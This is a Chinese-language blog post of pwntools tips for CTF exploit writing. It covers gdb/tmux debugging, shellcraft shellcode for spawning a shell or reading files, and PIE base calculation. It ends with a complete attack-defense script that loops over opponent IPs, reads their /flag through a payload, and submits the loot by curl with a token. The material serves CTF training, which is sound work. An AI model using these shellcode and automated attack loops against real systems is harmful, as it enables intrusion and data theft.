pwntools编写技巧
在最近的几次比赛中查看大佬们的exp学到了很多用pwntools编写exp时的小技巧一、利用TMUX多屏调试TMUX是一款终端复用软件,用来在一个终端里面开启多个窗口,极大的提升了工作效率,在工作中使用带有图形化界面的虚拟机实在太吃资源,而且不同版本libc切换复杂,于是我们可以选择通过配置一台服务器使用纯终端的模式就行调试,这就需要tmux进行多屏调试context.terminal = ['t
在最近的几次比赛中查看大佬们的exp学到了很多用pwntools编写exp时的小技巧
一、利用TMUX多屏调试
TMUX是一款终端复用软件,用来在一个终端里面开启多个窗口,极大的提升了工作效率,在工作中使用带有图形化界面的虚拟机实在太吃资源,而且不同版本libc切换复杂,于是我们可以选择通过配置一台服务器使用纯终端的模式就行调试,这就需要tmux进行多屏调试
context.terminal = ['tmux', 'splitw', '-h']
这段代码可以在我们调试的时候,自动一分为二增加一个窗口现实GDB的调试内容
二、指定运行环境
制定了运行环境就可以使用pwntools自带的许多工具生成shellcode
context(arch = 'amd64' , os = 'linux', log_level="debug")
在context
中指定了os
和arch
才可以像下面一样调用,要不然你 得写成shellcraft.amd64.linux.sh()
。
shellcraft.sh()
:
生成针对当前os
和arch
的一段可以getshell
的shellcode
,这个功能用途不大,所以直接找shellcode
还是建议去exploitdb
去找
但其实exploitdb
上那些shellcode
写的也都一般,你自己完全可以写,比如64
位时,只需要让rdi
指向一个指针,指针里存着"/bin/sh\x00"
,然后rsi
和rdx
置0
,然后让rax
为0x3b
,最后调用syscall
就可以了
shellcraft.pushstr()
:
生成可以push
指定字符串的shellcode
,因为你自己写push
字符串其实是一个很复杂的操作,比如想要push
一段"/home/t1an5t/pwn/flag"
这种,就需要对栈空间很熟悉,多次调整才可以,所以有轮子就直接用把
shellcraft.cat()
:
生成可以直接读取指定文件的shellcode
这个自己手写shellcode
的时候一般都会用open()
->read()
->write()
来进行读取打印
而这个cat()
命令帮助你简化了这个操作,不过它调用的其实是open()
->sendfileto()
这种组合
三、开启了PIE的地址计算
def debug(addr,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(p,"b *{}".format(hex(addr)))
我们在IDA静态分析中只能得到相对地址,但在程序运行起来后通过重定位后真正的地址是基地址+相对地址。这段代码是用来程序开启PIE地址随机化后,自动得到基地址,并通过相对地址得到最后真正的物理地址并在此下断点
或者也可以通过这样获得基地址,手动计算
def get_proc_base(p):
proc_base = p.libs()[p._cwd+p.argv[0].strip('.')]
return proc_base
四、不同libc加载库的选择
# 正常的调用
p = process('./elf')
# 指定libc的调用,当然,如果你本地的ld.so搞不定libc,这种方法也会报错
p = process('./elf', env={'LD_PRELOAD':'./libc.so.6'})
# starctf2019里见到的
pwn_file="./lib/ld-2.29.so --library-path ./lib/ ./babyheap"
p = process(pwn_file.split())
五、Attach
用gdb
来attach
的时候,一般会在对应的位置加一句:
gdb.attach(p, cmd)
这里的cmd
相当于你attach
进程之后在gdb
里下的命令,如果想下多条命令,要记得加\n
模拟回车,比如:
cmd = "b main\n"
cmd += "set $a = 0x8048000\n"
gdb.attach(p, cmd)
但是要注意,其实gdb attach
的时候,你的程序并不会按你想的那样停下来,它会继续往下执行代码。
所以一般我的习惯是在atatch
之后加一句pause()
,这样能保证pause()
之后**python
层面的接下来的代码**的不会被调用。
所以我一般会把调试的函数写成这样:
def debug(cmd=""):
gdb.attach(p, cmd)
pause()
然后在交互的一开始就写下debug()
,然后在对应需要停下的地方下面写一行pause()
这种加入了pause()
的写法,想要向下执行,需要在已经attach
的gdb
终端里执行c
命令,然后再回到程序运行的终端按回车,回车的次数决定了你想要向下执行几个pause()
,不想继续了,就在gdb
的终端里ctrl+C
断下来。然后想继续就重复这个流程就行了
设置某些变量时,一般都会用set $a=...
这种,然后在gdb
里查看内存可以用x/(numbs)(type) $a
这种:
x/32gx $a
x/24wx $a
x/16b $a
x/8c $a
... ...
正常的堆题目,会把堆块指针,也许还有其他信息存放到bss
段上的,假设IDA
显示为0x202010
,那么我们可以设置:
cmd = '''set $a=%d''' %(proc_base+0x202010)
稍复杂一点的堆题目,可能会在初始化的时候开辟一块存储堆块指针的空间,然后把指向这个空间的指针存到bss
,这个时候可以采用这种方式来设置:
cmd = '''set $a=*(long*)(%s)''' % hex(proc_base+0x202110)
六、AD模式
一个AD模式EXP的例子,将对手的gamebox的IP填入ip.txt文件,然后填写自动提交flag的接口网址,还有自己的token,将真正的利用exp写在main函数里,于是就可以实现自己打自己交flag了
from pwn import *
context.arch='amd64'
# context.log_level='debug'
def debug(addr,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(p,"b *{}".format(hex(addr)))
def main(host,port=16957):
global p
if host:
p=remote(host,port)
else:
p=process("./pwn")
# gdb.attach(p)
debug(0x00000000000739D)
code = """string readfile(string name);string lnk(string src, string dest);string print(string x);lnk("/flag", "/tmp/y");print(readfile("/tmp/y"));"""
p.recvuntil("size: ")
p.sendline(str(len(code)+2))
p.recvuntil("Give me your script(same size): ")
p.sendline(code)
try:
p.recvuntil("flag",timeout=0.5)
flag = "flag" + p.recvuntil("\n",timeout=0.5)
info(flag)
p.close()
return flag
except Exception,err:
print err
p.close()
return "bad_luck"
p.interactive()
if __name__ == '__main__':
# libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
# main("123.57.209.176")
# main("172.20.0.27")
ips = [i.strip() for i in open("ip.txt","rb").readlines()]
while(1):
for ip in ips:
try:
sleep(1)
flag = main(ip)
# flag = main(args["REMOTE"])
info(flag)
url = 'https://172.20.1.1/Answerapi/sub_answer_api'
token = 'token78s8gbv55k4b03'
cmds = 'curl -k {} -d "answer={}&playertoken={}"'.format(url,flag.strip(),token)
print cmds
if 'flag' in cmds:
os.system(cmds)
except Exception,err:
p.close()
print err
continue
sleep(30)
七、参考文章
里面许多参考了t1an5t师傅的文章:
更多推荐
所有评论(0)